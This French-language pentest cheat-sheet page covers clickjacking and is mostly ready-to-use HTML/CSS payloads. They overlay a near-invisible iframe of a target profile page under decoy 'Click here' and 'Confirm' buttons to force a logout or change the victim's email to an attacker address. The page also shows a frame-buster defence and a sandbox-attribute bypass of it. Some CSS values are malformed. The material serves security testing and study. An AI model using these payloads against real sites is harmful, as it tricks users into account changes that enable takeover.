๐Ÿ–ฑ๏ธClickjacking

Basic

Exemple dรฉconnexion d'un utilisateur:

<style>
    iframe {        //Affichage transparent de l'iframe
        position:relative;
        width:1000px;
        height: 700px;
        opacity: 0.000001;
        z-index: 2;
    }
    div {            //Position du "click here" alignรฉ au bouton de dรฉconnexion
        position:absolute;
        top:515px;
        left:60px;
        z-index: 1;
    }
</style>
<div>Click here</div>
<iframe src="https://target.com/profile"></iframe>

Exemple de changement de mot de passe:

<style>
    iframe {        //Affichage transparent de l'iframe
        position:relative;
        width:1000px;
        height: 700px;
        opacity: 0.000001;
        z-index: 2;
    }
    div {            //Position du "clic here" alignรฉ au bouton de dรฉconnexion
        position:absolute;
        top:515px;
        left:60px;
        z-index: 1;
    }
</style>
<div>Clic here</div>
<iframe src="https://target.com/profile?email=attacker@mail.xyz"></iframe>

Contournement de frame busters

Le clickjacking n'est possible que si la page web victime autorise son encadrement.

Un mรฉcanisme de protection utilisรฉ pour empรชcher cela est le frame buster. Les frame busters sont implรฉmentรฉs en Javascript, il valide si la fenรชtre actuelle est la fenรชtre principale. L'approche recommandรฉe consiste ร  bloquer le rendu de la fenรชtre par dรฉfaut et ร  ne le dรฉbloquer qu'aprรจs avoir confirmรฉ que la fenรชtre actuelle est la principale :

<style>html{display:none;}</style>
<script>
   if (self == top) {
       document.documentElement.style.display = 'block'; 
   } else {
       top.location = self.location; 
   }
</script>

Les techniques de contournement de cadre sont souvent spรฉcifiques au navigateur et ร  la plate-forme et, en raison de la flexibilitรฉ du HTML, elles peuvent gรฉnรฉralement รชtre contournรฉes par les attaquants. Comme les frame busters sont en JavaScript, les paramรจtres de sรฉcuritรฉ du navigateur peuvent empรชcher leur fonctionnement ou mรชme le navigateur peut mรชme ne pas prendre en charge le JavaScript.

Une solution de contournement efficace contre les frame busters consiste ร  utiliser l'attribut "sandbox" de la balise iframe HTML5. Lorsqu'il est dรฉfini avec les valeurs "allow-forms" ou "allow-scripts" et que la valeur "allow-top-navigation" est omise, le script frame buster peut รชtre neutralisรฉ car l'iframe ne peut pas vรฉrifier s'il s'agit ou non de la fenรชtre supรฉrieure.

Exemple de changement de mot de passe:

<style>
    iframe {
        position:relative;
        width:1000;
        height: 700;
        opacity: 0.1;
        z-index: 2;
    }
    div {
        position:absolute;
        top:465;
        left:70:
        z-index: 1;
    }
</style>
<div>Clic here</div>
<iframe sandbox="allow-forms" src="https://target.com/profile?email=attacker@mail.xyz"></iframe>

Simple Multistep (confirmation)

<style>
	iframe {
		position:relative;
		width:1000;
		height: 700;
		opacity: 0.1;
		z-index: 2;
	}
   .firstClick, .secondClick {
		position:absolute;
		top:515;
		left:50;
		z-index: 1;
	}
   .secondClick {
		top:315;
		left:215;
	}
</style>
<div class="firstClick">Clic here</div>
<div class="secondClick">Confirm</div>
<iframe src="https://target.com/profile"></iframe>

Derniรจre mise ร  jour